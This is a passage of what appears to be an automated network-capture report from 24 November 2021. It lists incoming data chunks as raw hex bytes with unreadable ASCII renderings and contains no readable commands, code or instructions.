2021-11-24 20:00:29 UTC 75 IN Data Raw: aa 0c 0c 64 a8 c1 ec 94 f7 93 97 2f e7 d6 4f e7 f0 29 a6 19 32 16 20 cc 69 85 3f ed 98 7b 10 52 28 d9 d7 bb 1b 
90 e6 80 f0 2e 8f 35 7c 1f 4b da 7b ce 82 f2 0d 02 46 ab 1a 43 01 d2 be 68 95 63 f3 ca e7 3a a6 48 29 43 88 cb 22 00 3a 
94 86 71 a9 31 2a 47 ea ea ff 7d 75 79 38 ef 11 28 2f dd e7 03 72 81 54 8b 0d 80 24 b6 d7 de b6 c3 5b b8 99 dd 56 5f 57 
fe da f8 36 89 b2 16 ff 73 48 1b a3 38 c1 6e 2c 6f 23 e1 06 5a 2b e7 c5 05 b8 32 e2 52 e7 6a 10 92 b1 68 ff 15 6f eb af e9 
20 0a a8 c9 57 d7 3b dc c1 00 22 19 5c 6e e5 84 c1 d5 f0 97 49 f5 96 c9 82 c2 c0 a7 2a 19 91 81 5b b0 70 4b 8e 47 28 18 
12 a6 41 23 db 88 3e ec 59 d5 8a 8f 50 85 e0 8f 75 50 b8 91 1e b9 2e e7 ec 34 4b 05 b2 7d 13 e1 c4 d4 de f7 3f 68 c0 5b 
ba e7 9a a5 85 8b 23 13 7c db 28 ec 83 41 91 04 4d 
Data Ascii: d/O)2 i?{R(.5|K{FChc:H)C":q1*G}uy8(/rT$[V_W6sH8n,o#Z+2Rjho W;"\nI*[pKG(A#>YPuP.4K}?h[#|(AM

2021-11-24 20:00:29 UTC 76 IN Data Raw: 37 08 e4 67 8a 48 35 09 ed 5f e2 4a 46 92 d1 29 79 7a ea 25 17 0e d9 c5 3a cf 4f 6a 52 1b ca 41 7c 6b 94 c4 
e3 26 47 de 8b ff cf e3 f4 61 d8 2c da a5 f1 c3 11 61 c1 6f 0e 28 0a 23 73 32 bd d1 a4 5b cb 17 ae 72 bf fe 84 00 84 5c 28 
ae 4b c7 2a 78 e2 a0 d6 15 d8 b7 ec b1 78 30 e0 bd 98 f3 94 46 37 7d 08 80 62 21 4e 19 05 ba ff 74 73 33 56 26 39 cc 69 
66 81 6c ff c4 3c 93 bd 8a 1a 47 31 4f 76 e1 cd 60 a8 94 e9 c3 31 20 55 52 cb 55 b9 b5 c1 14 6b d2 49 e4 c8 2d 5f f5 55 9a
24 f6 4f a6 66 b5 10 e4 ea 1f 3c d2 e3 83 b9 b6 c6 c6 b0 c3 1e 1b a3 7b 66 33 c6 43 0d ac 99 00 16 ae 4e f3 d1 2b 99 50 
3e a6 3e 87 38 c1 6f 5e 36 5b ad f0 60 be ed b7 8b 88 54 af a5 b1 ac 83 1b 69 1c 23 11 7b db 22 a7 b5 cc 08 4b 6c 09 7e 
d4 30 a3 32 3a 78 da b1 88 f1 0f 41 fa e3 b4 b9 21 
Data Ascii: 7gH5_JF)yz%:OjRA|k&Ga,ao(#s2[r\(K*xx0F7}b!Nts3V&9ifl<G1Ov`1 URUkI-_U$Of<{f3CN+P>>8o^6[`Ti#
{"Kl~02:xA!

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 77 IN Data Raw: 92 32 eb 91 67 ff 45 0f f0 e7 b9 37 04 1f ab dc 2c 8c 0e 75 18 ac 25 7a e2 20 e5 06 13 32 09 e4 42 27 db 8a 76 
96 3b f1 b1 84 30 a0 64 a2 65 8a ce 77 d7 3a 94 88 28 bf 33 2a 5e d7 e1 90 42 77 79 32 c4 1d 00 9c cf ec 2e 41 99 51 9c 
f9 86 22 bd e7 76 b2 c4 4b 29 81 f3 54 42 4f f2 cb f3 c3 b0 02 15 d4 71 72 f4 b0 48 31 7d 28 7a 0d ac 1e 5b 56 87 d6 0b 
aa 0b ef 6a 94 78 20 90 a0 4e ee 18 f5 fe a9 f8 37 73 2f e3 4c dd 14 6f 3b 01 08 33 fa 65 e5 89 c4 2e e0 be 63 d3 9d c9 8f 
e3 79 a7 06 1b c9 54 71 53 78 23 e2 56 2f 08 10 f8 41 20 a0 f4 b3 eb 5d ff 8b 9c 5f 87 df 9b 64 7d 1a 80 11 0f 3e f6 ed 36 
54 39 24 52 14 f6 3b c6 e3 e4 36 75 d7 c0 bd 08 8c a1 20 9c 28 19 5d d2 c7 fb 3f 6f a5 17 76 f9 76 24 f5 32 96 11 08 8b 95
c5 26 87 db d3 d9 a3 ba a7 80 a6 23 51 3b 51 
Data Ascii: 2gE7,u%z 2B'v;0dew:(3*^Bwy2.AQ"vK)TBOqrH1}(z[Vjx N7s/Lo;3e.cyTqSx#V/A ]_d}>6T9$R;6u (]?ovv$2&#Q;Q

2021-11-24 20:00:29 UTC 79 IN Data Raw: dd 67 8e 52 1b c0 43 68 7d bc 54 ca 31 4d b1 97 fd e2 e2 d6 81 d1 04 eb d6 d7 cb 39 53 bb 6d 77 a7 0b 25 5f 
5d ff c0 a4 5d c9 14 86 30 af eb 82 63 b6 5e 28 a5 3a fe 03 64 e6 a2 b3 7d ca 87 e9 b2 cf 0d e5 bd 3d 9c bc 55 21 7a 5f 42
61 21 48 1b 63 ef 00 75 59 32 66 6b 3c c5 70 1a 57 6f d3 dc 57 ee 86 8f 1c 43 48 25 59 e1 cb 69 96 e6 ab dc 23 42 7d 59 
d4 51 28 e3 ec 1a bd d8 57 f7 fa 07 4b dd 55 90 28 e1 40 ab 77 aa 04 c3 0f 1e 17 cd 25 d2 97 b4 de d2 bd c9 08 ec bd 4d 
9a 25 e1 4d da ab 67 01 38 84 71 f1 fa c2 97 34 5e ab 3e 8a 0d f5 93 5c 67 35 a9 d8 5f 91 ed b1 9d b3 4a ad a5 93 ba c3 
d5 60 1c 23 1f 7a dd 09 b5 aa da e1 b4 41 2b ac ee 3b a3 37 04 92 db 9d 80 ea 1b 53 f0 fb 43 a0 f3 2b 2d e5 4a 62 7a fb 
7d 71 0d fa b3 df 27 29 97 a1 ef cc 0e c5 f4 c8 da c1 
Data Ascii: gRCh}T1M9Smw%_]]0c^(:d}=U!z_Ba!HcuY2fk<pWoWCH%Yi#B}YQ(WKU(@w%M%Mg8q4^>\g5_J`#z
A+;7SC+-Jbz}q')

2021-11-24 20:00:29 UTC 80 IN Data Raw: 24 ed 1f 33 b4 11 1a 43 97 df be 67 a4 44 f5 d5 f9 10 47 60 88 47 14 cb 15 ab 1a 26 8c 02 bf af 2c 52 f1 fc 83 f6 
71 66 25 e2 b8 00 8d d9 7b 03 45 81 76 3b 07 87 0e 23 f9 62 ab dc 24 4b 86 c0 4c 75 aa f2 cc eb a1 b7 31 0c e0 3c c5 11 
ad 2f 44 72 b4 78 38 93 03 19 b7 eb c9 15 b1 34 73 6c 8b 74 30 7f a0 66 ee 84 f3 e7 89 e7 5d f9 22 d7 76 c2 07 e4 c3 1f 
06 11 6e 6e e5 8e 4e d6 fe b1 41 21 96 c9 88 67 81 b9 0e 06 a9 ca 5c af 5f 47 cf ca 29 13 1c c5 4e bf db 80 94 cb 98 d5 
8b 9c c3 92 f0 b1 44 db 1a 80 11 36 38 e9 d5 00 a1 12 3f 52 8f e7 da ed ef 30 2e 7e d7 5b ad e9 a6 ad c5 8b 23 19 c6 cc 
26 d6 0c 4a 12 13 42 37 6b 2a 05 34 89 3b 3e 35 91 d9 74 cb 50 d3 dd 89 26 a1 9f 85 0c 1a a7 7f f6 bd 2b 4f 00 d6 98 f2 
f7 0a 9d 5e 4f 11 25 04 33 b8 aa 7f c1 8d 09 56 93 
Data Ascii: $3CgDG`G&,Rqf%{Ev;#b$KLu1</Drx84slt0f]"vnnNA!g\_G)ND68?R0.~[#&JB7k*4;>5tP&+O^O%3V

2021-11-24 20:00:29 UTC 81 IN Data Raw: e8 37 38 75 c8 1c be f6 0a 2f 54 28 af ca a4 4a c0 0c 50 73 86 f9 8c 24 2a 58 28 a9 7d b1 02 64 ea b7 46 2c ce 
9b fc ba e7 23 eb a7 c5 f2 b8 5d 52 52 32 11 66 32 49 02 1f a6 01 64 54 2c b0 2a 15 c3 70 66 76 73 c0 dd 38 aa 8c 90 0b 
bf 26 4b 55 f0 c5 7b b4 99 cb 22 da d2 4a 49 c7 50 47 a5 e6 06 45 f3 65 f5 db 00 63 40 51 90 2e c1 34 ab 66 b6 1c ee 09 
0d 1b da ca d8 ad 48 c7 f5 be d9 0d 19 bc 70 93 2d f8 b3 dc 9f 9b 2b 11 be 7e 0d 2e de 9c 65 25 ab 2d be 22 d7 d8 5f 1a 
4e 02 d8 5b aa fb bd b6 91 7a a7 bd 45 bb ef da 6a 62 85 0e 6c d2 34 86 38 dc f6 40 4b 1e a2 f6 38 b4 ce 13 40 d8 a9 8e 
fd 18 45 09 e2 91 a3 c8 25 06 ef 78 7f 79 ac 03 5a 0f d5 54 d5 b2 2a ea d7 e8 d6 0d 61 43 d2 00 bd 6f f6 3a c4 c4 a6 b5 
45 db 22 8b 95 8c 8c 66 e1 13 bf df 98 08 3f 11 39 6d 
Data Ascii: 78u/T(JPs$*X(}dF,#]RR2f2IdT,*pfvs8&KU{"JIPGEec@Q.4fHp-+~.e%-"_N[zEjbl48@K8@E%xyZT*aCo:E"f?9m

2021-11-24 20:00:29 UTC 82 IN Data Raw: ce b6 88 bd 91 cd 37 88 59 42 50 8f 59 2c 7f c1 d8 fb 7d 41 7b df fd 94 9f 12 ad 74 c4 2f 26 67 b3 0b 5a 69 95 
19 c0 31 d2 0d 60 c0 a4 b8 1a 96 90 e2 f7 1d 59 1e 20 7e fa 3b fb 09 99 26 73 1b f0 16 64 46 5f 9d ea 99 0f b2 2a 21 20 
ca 67 8a 42 39 20 ef 66 f7 4e 38 00 ca 19 77 6c e1 0b 17 0e f3 d3 09 d5 4f d3 50 1b c6 49 b5 d2 be 56 e2 25 5e b6 ee 42 
cf e9 f4 b4 c5 03 fe b4 e7 da 29 48 d0 00 cd f6 0a 2f 4a 20 97 df b5 4a da 07 c1 93 ab eb 8e 1f 95 5b 3a a4 7d f3 00 64 ea 
cf 10 3f cb 8d fe a1 f0 e4 f3 ad 2a e3 85 45 13 ac 43 ad 60 21 44 14 1a aa 6e 42 5d 31 44 3c e3 d6 65 66 73 55 3c d6 38 
bb 80 9e 16 2e 13 65 58 eb e5 d7 ba a7 a8 ca 0d 03 55 5b de 4d 74 bf e4 32 05 f6 49 e2 a5 c9 4b f5 5f 97 39 e5 2f 9f 64 
bc 05 c0 ab 1a 10 dc cd fb 95 b6 c6 d3 ab fd 15 1b 
Data Ascii: 7YBPY,}A{t/&gZi1`Y ~;&sdF_*! gB9 fN8wlOPIV%^B)H/J J[:}d?*EC`!DnB]1D<efsU<8.eXU[Mt2IK_9/d

2021-11-24 20:00:29 UTC 83 IN Data Raw: ec 44 7e c9 01 d9 61 60 2b 5a 41 1f 45 0c 92 44 d0 99 8c 52 09 ed c5 00 f0 9d 34 4c d8 08 1a da 4e b3 66 1b 
43 da ee 4e 2b 37 51 e7 fa 22 50 1c 04 40 9c 98 25 1f 6e c0 e6 89 fd 02 be b8 19 d7 63 ba c8 a4 a6 10 24 c6 0d e7 41 8e 
3f ed 98 7f 10 52 28 d6 ff bb 4b d5 e1 aa f4 a0 23 34 c0 06 b7 db 72 d8 dc f3 21 11 22 1c 1a 4a 17 27 a0 58 bf f3 f1 e1 69 
37 b7 b6 83 40 80 fc 95 bd 24 42 a6 02 ac 03 2c 4d 57 e2 90 6a c4 79 32 d3 0b 13 84 e1 05 05 5a 99 56 9a 0e 9d f0 be d3 
70 b6 c0 87 5b bf df 56 54 57 f6 d7 f8 34 b1 3f 1e e8 8d 58 3b b1 2b 48 74 28 6f 2e 96 e2 59 07 e7 d2 1c 78 df e4 68 94 72
03 9b a0 77 e7 01 0b f9 85 f3 38 e8 0f c8 57 dc 00 7d df 13 2d 31 f3 67 fb 70 d3 fc d1 83 65 d3 1a f6 88 fb 86 b0 02 e8 e3 
56 50 89 fd 58 89 56 3e 09 2c d8 38 e5 dd 9f b7 
Data Ascii: D~a`+ZAEDR4LNfCN+7Q"P@%nc$A?R(K#4r!"J'Xi7@$B,MWjy2ZVp[VTW4?X;+Ht(o.Yxhrw8W}-1gpeVPXV>,8

2021-11-24 20:00:29 UTC 84 IN Data Raw: 17 92 93 d2 2b 3d 86 bc 34 57 42 86 3d 54 07 06 0c 57 fd b6 bc e0 99 ae 75 5f 1d 59 10 62 13 66 3b ea 0c 90 
4b a3 1a dc 28 70 6b 0c a0 96 0a 05 ad 2c 5d 7b db 65 8a 42 07 53 ef 4d f2 5b 4a 8b 12 6a 3e 78 c9 2f 3f 4e fb c5 30 f6 
26 ff 52 11 d8 2c ec 7c bc 50 65 35 47 ae db ed c0 e9 ef b0 cb 33 13 a4 dd be 3b 22 08 6f 04 f2 02 34 5d e4 33 ea a4 5b 
c9 3f e9 73 aa e1 86 77 58 5c 28 ab 53 b6 3c 66 e0 aa cd 3a b8 b8 ed b1 ed 1a a0 bf 3b f9 9d 41 b7 03 0f 13 60 2b 66 59 
0e ad 0b 7c 48 a7 3d 14 3b c5 7c 5d 3f 6f d3 dc 31 a3 11 fc 25 43 27 6d 70 a1 cf 6a b4 ae b7 4a 56 12 57 5b de 73 07 b6 
ed 10 93 b3 4b e4 c0 0c 51 63 e2 ff 3c e8 40 a1 1b 6a 0f e8 10 01 28 c9 d4 d3 aa b9 d9 d0 43 cf 32 00 be 66 8f e4 67 66 
dd b3 9b 7d dd 86 5a f7 ce 2b 86 40 25 ba 31 91 34 29 90 
Data Ascii: +=4WB=TWu_Ybf;K(pk,]{eBSM[Jj>x/?N0&R,|Pe5G3;"o4]3[?swX\(S<f:;A`+fY|H=;|]?o1%C'mpjJVW[sKQ
c<@j(C2fgf}Z+@%14)

2021-11-24 20:00:29 UTC 86 IN Data Raw: 07 1f 11 d5 b3 fe 03 6f a0 6d 95 e5 c2 2b 54 de 20 57 e2 f5 59 91 07 fa 45 c3 bf 25 64 a2 d9 8c fe c5 91 9e 32 
31 95 61 e5 e2 32 95 43 3b c4 32 ef 6b 83 3d f3 6f 66 c2 5a 3c fe fd b9 30 0c e8 b9 ff 2e 85 0a 6a 23 44 da 57 ef 20 89 c5 
13 35 15 69 7d 09 d9 ab 6d d7 ab cc c8 ed 3a 88 22 8a 47 82 db 4a 37 38 94 8c 1d 82 20 25 4d f6 ec 87 94 76 55 31 da 
0e 0f 8d c8 e8 1a 77 67 57 a7 18 85 75 77 ff 7d b6 b0 63 d5 80 d5 28 10 46 f2 c6 c3 7f b3 2e 1d e9 33 a8 17 b2 33 44 53 
3b 71 27 9f 13 47 62 13 d7 27 95 23 ed 69 85 61 7e 45 24 7c 81 9c f4 f8 af 8b 18 67 24 c2 29 98 11 78 cf 28 62 33 e2 64 
e7 f5 15 d0 e1 96 12 87 94 c9 82 d3 c0 a4 2a 13 ca 1e 58 b0 70 37 0c 57 2f 0a 25 90 50 2c dd 8e bc f4 6b 2b 8a b0 56 ac 
d4 60 9b aa 05 b3 02 a5 3e e7 f3 3f 6c ec 3e 7e 32 e3 
Data Ascii: om+T WYE%d21a2C;2k=ofZ<0.j#DW 5i}m:"GJ78 %MvU1wgWuw}c(F.33DS;q'Gb'#ia~E$|g$)x(b3d*Xp7W/%
P,k+V`>?l>~2

2021-11-24 20:00:29 UTC 87 IN Data Raw: 4b 12 59 1e 2d 16 97 3a d7 00 98 1d 52 1b e1 13 6d 25 81 9f b8 08 24 b7 18 96 fb 1b 98 a0 53 1f 14 ed 3c ff 4a 
46 25 ca 19 6c 78 b2 e3 17 0e fd c6 be 4f 78 f0 12 5f c6 43 68 7f bf 25 dc 24 4d bb 84 94 bc d6 fc bf de 2c ad a7 f1 c3 11 
18 c3 6f 0e ee 65 a1 58 32 ba b2 9a 59 cb 1d d0 37 a8 eb 8e 24 d8 5e 28 a5 d9 25 02 64 e1 ac ca 32 c9 fc 24 b1 e7 36 cc 
f8 39 88 5f 57 21 74 be a6 6d 23 4c 62 c7 ad 01 71 2b b0 4e 2b 38 c7 0d be 7f 6d d7 58 8f 37 b8 8f 1a 40 2f 4f 6b e0 cd 60 
96 fd ae dc 2f 3a 83 d6 fe 5b 47 b6 c5 50 b9 f2 43 90 e9 05 4b ee 28 5b 28 e9 44 80 75 be 07 c0 4e 1e 10 d0 cc 05 36 9c 
c6 d9 bf b3 d5 12 bc 65 8e 3a c2 17 dd b3 93 13 05 95 5c cb 40 24 95 4f 27 a8 4d b0 25 d7 9b 41 70 3d 96 da 5b b1 c5 f1 
9f a0 70 be a3 a3 62 b0 96 6a 1c 29 26 2c d4 22 
Data Ascii: KY-:Rm%$S<JF%lxOx_Ch%$M,oeX2Y7$^(%d2$69_W!tm#Lbq+N+8mX7@/Ok`/:[GPCK([(DuN6e:\@
$O'M%Ap=[pbj)&,"

2021-11-24 20:00:29 UTC 88 IN Data Raw: 9a 80 27 64 aa bb 2e 8d fa 97 ed 06 1b d7 69 fc 82 57 99 12 24 e2 09 a2 69 92 38 fb d1 6a ef 53 04 d9 87 72 
30 13 e5 a3 e1 28 42 8a 5f 1f ba d9 00 1e 22 f2 09 02 38 39 51 41 0b d3 a3 0f 7b d8 f3 ce ea 43 9e 62 88 4d 99 c5 79 81 
38 94 86 2a ff 31 2a 47 f6 e7 e3 29 75 79 38 ea 5d 02 8d d3 cf 44 58 99 5c 9a 02 96 03 30 d6 7d b2 c1 26 1a 80 df 52 e2 
2b e6 cd eb 37 13 16 b8 ff 73 59 15 c9 f8 5b 7d 2c 77 36 88 ca d7 01 ed d6 09 d5 f1 ef 6a 90 7a 1d ba e7 67 ee 12 f7 83 6f 
f8 26 61 23 bb 69 df 13 72 d4 08 57 0e e0 6e ef a6 92 d2 e1 98 70 c0 e5 8a 8a fb 8d 8e 6a 1b e2 5c 72 f1 78 58 83 47 2a 
1d 37 55 6a 23 dd 9d c8 26 59 d5 8f 2b 30 80 ee 99 6e f7 31 d4 13 d1 f5 f6 fc 24 56 03 39 84 9c cb c5 c7 cd 9d fe 7e d7 c3 
ba fb 8f 8a 51 b5 21 19 50 db 31 89 2c 6f 8e 1f 75 
Data Ascii: 'd.iW$i8jSr0(B_"89QA{CbMy8*1*G)uy8]DX\0}&R+7sY[},w6jzgo&a#irWnpj\rxXG*7Uj#&Y+0n1$V9~Q!P1,ou

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 90 IN Data Raw: a7 24 ef 76 83 5f b5 3b fc 4d f8 40 55 96 e2 08 7d 7a c3 87 11 1f fd 5f 2e f6 aa f9 52 1d d7 ce 6f 7d bc 57 f1 2c 
5c bb 8b d6 01 ed fe b9 76 15 e7 b1 e5 dd 11 fa c1 6f 0e e0 86 1a 59 32 bd d7 8c aa ca 17 a4 5e a8 c0 c1 0e 9c 27 e4 af 
55 c1 76 e5 e0 a0 dd 2e cf 90 39 3c f2 32 e0 bc 13 b9 96 57 2b 04 11 11 60 3a 33 d5 0c ad 05 77 24 fd 4e 2b 3d d4 72 73 
6e 69 49 fe a4 bb 87 85 b8 50 23 70 8e f2 c9 7b ba b6 a6 e2 68 d3 aa a4 d6 59 3c 7d ed 1a bf f5 c6 cf ca 05 49 8e 80 90 
28 ed 57 c1 bc be 74 2f 14 1e 14 b4 03 69 d4 30 c7 d9 bb e4 0d 22 be 61 b2 32 ea 4d db b3 99 11 02 8d 71 e8 d1 26 82 
b1 24 87 3c 96 2c d7 96 49 e4 4f 85 da 4c b0 ed b6 85 5e 7b 83 a7 90 b8 e8 36 6a 67 e8 0e 6c d2 ac 19 80 dd f6 59 70 04 
ae 83 30 a3 30 1a 6c da a0 94 f6 3b 08 f7 e4 a4 5f de 
Data Ascii: $v_;M@U}z_.Ro}W,\voY2^'Uv.9<2W+`:3w$N+=rsniIP#p{hY<}I(Wt/i0"a2Mq&$<,IOL^{6jglYp00l;_

2021-11-24 20:00:29 UTC 91 IN Data Raw: 99 1a 79 90 67 e8 40 0d fb fd b8 30 13 6c 81 f0 2e 95 16 78 3f bb da 7b ce af d9 0d 13 34 02 1d 52 00 f1 1e 76 
bd de e5 dc fe 23 b2 73 99 4a a8 cd 0b be 3a 87 98 10 ab 1b bc 4c e7 e5 83 63 66 72 1a 13 19 00 8b cf f1 16 4e 8b 42 9a 
00 a7 0e be ff 7d a1 d0 4f c4 a8 49 57 55 42 e1 c5 98 1f b3 2e 11 ec 7b 48 1f a3 3f 34 55 2a 7e 21 98 0f 5d 3d fc db 85 19 
36 35 79 81 78 1e b9 b4 77 e3 09 fb 69 bf d6 34 74 21 df 81 ce 16 69 cb 17 f2 22 ec 7f eb 9f c7 e1 07 83 6c b0 17 c9 88 fa 
96 a3 3d c3 f5 80 d7 9b 7a 58 88 7e 65 0e 3a d0 37 31 dd 9f a8 f8 54 c4 83 b4 18 95 ef 93 75 58 75 96 10 aa 34 99 d8 22 
5f 14 29 41 16 f5 d6 c1 d9 f7 29 f0 60 d0 71 e5 9b 9e 2d a0 0a 08 5d db 36 6b 05 43 a9 04 5b 0b 73 4e 96 a3 89 1a 43 81 
7d c7 5b e1 f3 07 dc 89 b0 8f a4 b5 13 59 28 7f 
Data Ascii: yg@0l.x?{4Rv#sJ:LcfrNB}OIWUB.{H?4U*~!]=65yxwi4t!i"l=zX~e:71TuXu4"_)A)`q-]6kC[sNC}[Y(

2021-11-24 20:00:29 UTC 92 IN Data Raw: c5 66 fd 58 68 96 41 68 77 c6 5f f5 fc 5a 67 10 d5 cf e9 ff ac d1 07 e9 b4 f4 d8 3c d7 76 7d 07 e0 22 4c 59 32 
ba d2 a0 4a cf 01 50 71 a1 ec a8 1b b6 8f 2c af 53 d4 06 e8 9b a0 dc 3e e3 9c ee b1 ed 41 b6 bf 3b f9 ee 46 24 5a 30 11 
60 32 7e 1c 0c 13 00 75 5f f1 4e 2b 28 d3 65 7f 47 c2 d2 d6 38 bb 96 85 06 bf 26 4b 52 f0 ca 7b b8 3d bd d8 38 3e 5f 5b c5
51 58 a2 13 1b 97 f8 58 ec dd d3 58 fd 4a 87 3b e3 40 ba 6c a3 02 16 15 32 16 cc d7 cc b5 a5 cc d9 ac c4 01 19 42 60 b4 
3e fb 4b cc b4 17 b7 26 45 45 ff c2 2b 95 5e 2f b4 2b 70 26 fb 9a 57 0b 4b 27 6f 8d b7 f2 a7 8e aa 7a be af a5 44 c2 f9 61 
24 06 0f 6c d6 3d a7 b9 d7 f6 5b 4a 10 50 f7 1c a0 28 01 66 da a0 88 e2 01 ad f6 cf b6 b0 d6 38 0e 7d 72 84 67 92 12 7b 
0d ef 93 e4 db 2b c6 db ec df 0d f5 e7 c2 da c3 
Data Ascii: fXhAhw_Zg<v}"LY2JPq,S>A;F$Z0`2~u_N+(eG8&KR{=8>_[QXXXJ;@l2B`>K&EE+^/+p&WK'ozDa$l=[JP(f8}rg{+

2021-11-24 20:00:29 UTC 93 IN Data Raw: 1b f5 0f 13 35 39 aa 42 0b df b2 72 ac de f1 b1 34 30 a0 64 8a 3c 54 cd 0a ba 2c 0e f7 dd bf 33 2e 22 79 e2 90 
6c 75 02 ee c2 1d 04 9b 43 9c e5 5a 99 52 e4 6f 85 0e b5 21 35 97 eb 6a d7 80 d5 45 5d 47 e3 c4 c3 52 b1 2e 11 d7 a6 
5d 17 b4 1b f4 7c 28 78 01 98 0f 5f 03 d5 d6 0b a4 ff cc 4f bc 5c 10 92 aa 75 e7 1b d5 f9 a9 f8 a6 4d f1 cc 57 db 3b d7 c4 
00 22 17 f4 7d e2 a6 ea d0 e1 98 bf c4 87 ce b1 7d 86 a6 2a 0f e0 2d 86 b0 7a 5c 07 e1 38 d6 2d 00 50 2c ce 94 8b 24 59 
d5 8b 9e 24 48 ef 99 60 44 11 1a 02 a7 3c 8d 20 20 5f 16 2e 59 04 37 5f d4 c3 e4 55 a3 d7 c7 af da c3 9c 24 9a 2f 0d 72 
1c 3d fa 15 7b 03 12 5d 1a 75 4b 8d 26 be b6 22 a9 9d ee c7 eb db d9 cc 85 ae 8f 3e b7 13 55 2d f4 ee 8c 3d d2 12 dd be 
fa 88 0a 9d 54 fb 4d 3a 37 26 a6 3b 0d ec b9 16 64 0d 
Data Ascii: 59Br40d<T,3."yluCZRo!5jE]GR.]|(x_O\uMW;"}}*-z\8-P,$Y$H`D<  _.Y7_U$/r={]uK&">U-=TM:7&;d

2021-11-24 20:00:29 UTC 95 IN Data Raw: e2 c5 28 55 d4 54 86 f6 0a 25 5f 23 b2 ae 90 59 cb 1d b8 63 a6 84 6b 0c 9e 56 47 c5 57 c5 08 77 ed b1 d1 17 
77 85 ef b7 fc 5d 8b bf 3b f9 b8 61 27 61 3e 7e 54 23 4e 13 1d a1 16 a3 30 39 4f 2b 33 aa 1c 77 7f 67 df c7 33 93 a9 8c 1a 
47 48 0b 5a e1 c7 4c af ac a8 cd 2b 42 61 59 d4 51 28 d8 ef 1a b1 d4 62 c2 db 08 63 84 55 90 2e c4 5d ba 6d 94 21 eb 14 
18 7f b6 d9 d3 b1 90 d7 d2 bb df 10 7d 88 63 98 38 85 21 df b3 93 26 05 88 4d 25 c2 2f 84 41 34 b2 00 d8 d8 28 6e 57 37 
7e b8 d3 73 60 e9 b1 9b cf 16 ad a5 b1 9c d2 de 79 16 37 26 d0 d4 22 a8 bc 50 f1 4a 40 06 ba e2 24 8b 93 12 6c d0 99 93 
fd 10 59 98 8e bf a1 d5 0f 17 ec 49 a5 7b 80 07 1e 61 fc 99 f7 03 24 ef cc e4 a3 d8 ef f4 c2 8b dc 7f b1 16 c7 ea 86 0e 44 
c8 12 da be 7d 88 79 b1 eb b7 f7 06 1f 32 30 56 3f 
Data Ascii: (UT%_#YckVGWww];a'a>~T#N09O+3wg3GHZL+BaYQ(bcU.]m!}c8!&M%/A4(nW7~s`y7&"PJ@$lYI{a$D}y20V?

2021-11-24 20:00:29 UTC 96 IN Data Raw: bc 2c e9 6d 02 bf 37 29 65 68 e2 90 60 5b 72 1a ec 1f 00 8b aa c1 07 5a 93 2c 8f 11 b5 06 bb df 82 4d c3 5d e6
8b f7 78 57 44 f4 bf bc 3c b1 24 6d fd 70 24 c8 b2 33 5f 7f 2c 03 c7 8e 1c 5c 01 ed d6 18 9e 22 ef 2f 94 6b 10 92 a0 66 ee 
1a f6 fc 81 4a 27 65 22 cd 7f 52 12 78 cf 2c 2f 19 cc 6c e5 88 a1 f6 e3 92 6b be 98 cd a0 74 86 a6 20 35 e9 7e 74 b2 7a 5e 
fa 70 2d 0c 30 a0 41 34 a0 7e b3 eb 5d d7 8e 92 5b bc 97 99 64 53 67 62 11 aa 3a dc fc 20 5f 01 0f 56 13 2b c5 c7 cf e6 
2e 7e d7 c5 83 e1 8d 8d 28 89 35 64 b6 ca 39 fe 11 7b f3 f8 5d 1a 70 5d 9a 4f 73 15 22 ad 95 c2 26 0d db d3 d9 8b 9a a7 
c0 b4 13 de 10 79 e9 8d 40 34 06 c9 ae d0 58 79 9f 5e d9 6a d9 37 2c b3 34 02 3d b9 16 62 0d 72 af 39 62 ae 7f 6b e4 db 
49 16 80 67 74 86 d4 9d bd ec 1e 08 e4 6e 73 e3 
Data Ascii: ,m7)eh`[rZ,M]xWD<$mp$3_,\"/kfJ'e"Rx,/lkt 5~tz^p-0A4~][dSgb: _V+.~(5d9{]p]Os"&y@4Xy^j7,4=br9bkIgtns

2021-11-24 20:00:29 UTC 97 IN Data Raw: a2 2f 19 54 c5 04 17 9c a2 dc 35 b8 fa ed b1 ed 3f ff b4 28 f6 94 46 24 6c ce 10 4c 37 48 3c f2 aa b7 74 5f 37 
3d 57 3b c5 7c 06 02 6f d3 dc 34 a6 94 8a 1a 50 22 70 a6 e0 e1 69 a6 b4 ab dc 34 28 4d a5 d5 77 4c b6 ee 69 0f f3 49 e2 
c0 1c 58 f0 55 81 2d f4 be aa 4a b5 07 87 6f 1c 10 d0 c5 c0 be b6 d7 dc a7 30 1f 3e b6 67 9f 4f 01 4d dd b7 82 13 11 86 
4b f6 c7 df 94 63 26 bc 2d 8b 27 c6 94 40 10 b0 a8 f4 59 90 e8 89 b2 5f 85 50 8f a5 b8 d8 e5 6a 1c 18 0e 6c d6 ef ae aa cc
e2 41 54 0d ad f0 44 34 30 12 6d c9 b5 90 f9 38 1e f6 e3 b7 b0 db 23 2a e0 67 f5 ef 80 01 70 27 fd b1 83 27 2a e0 cb 75 
c7 d4 e1 d1 e0 ed d2 7b fd 37 e6 d6 a6 b5 4f 16 12 89 bf 79 8d 76 e1 bf bf df a9 1e 39 11 7a 63 af 2b 2d aa fe 38 79 9d 36 
ab a4 f1 f1 94 a3 a7 92 d4 20 8a 6b ec 61 66 ec 
Data Ascii: /T5?(F$lL7H<t_7=W;|o4P"pi4(MwLiIXU-Jo0>gOMKc&-'@Y_PjlATD40m8#*gp''*u{7Oyv9zc+-8y6 kaf

2021-11-24 20:00:29 UTC 98 IN Data Raw: 1e a0 78 d5 23 24 67 b3 0b 52 41 bf bd 4a 38 f2 21 22 ea ab b8 f9 8b 99 1c 59 31 53 08 26 7d 7a 3a fb 07 90 
04 51 1b f8 04 8c 69 53 96 e7 b1 0e b2 26 3c 11 e8 67 82 52 d1 12 c1 40 ff 34 d5 93 ca 13 00 75 c8 25 13 15 f5 c5 32 c5 
99 fc 7e 1f eb 4a 74 71 bc 5e ff d8 4c 9d 94 f9 cd 94 f0 be d4 00 f3 a9 f1 c1 25 a7 c0 43 0d f1 09 58 56 33 bc c5 b9 57 cb 1f
b8 8c ab c7 86 1b 92 5c 20 b0 5f 3b 03 48 e2 8b d9 07 96 78 10 4e e0 18 f3 8d 38 f3 35 57 21 70 e1 11 60 30 58 0a 08 95 
93 75 5f 31 4e 3a 3d d9 88 74 53 61 d1 cf 3e c8 de 8f 1a 4b 2b 7a 4b e5 cd 7b ba b9 50 dd 09 26 5c 59 a9 56 46 b4 e9 05 
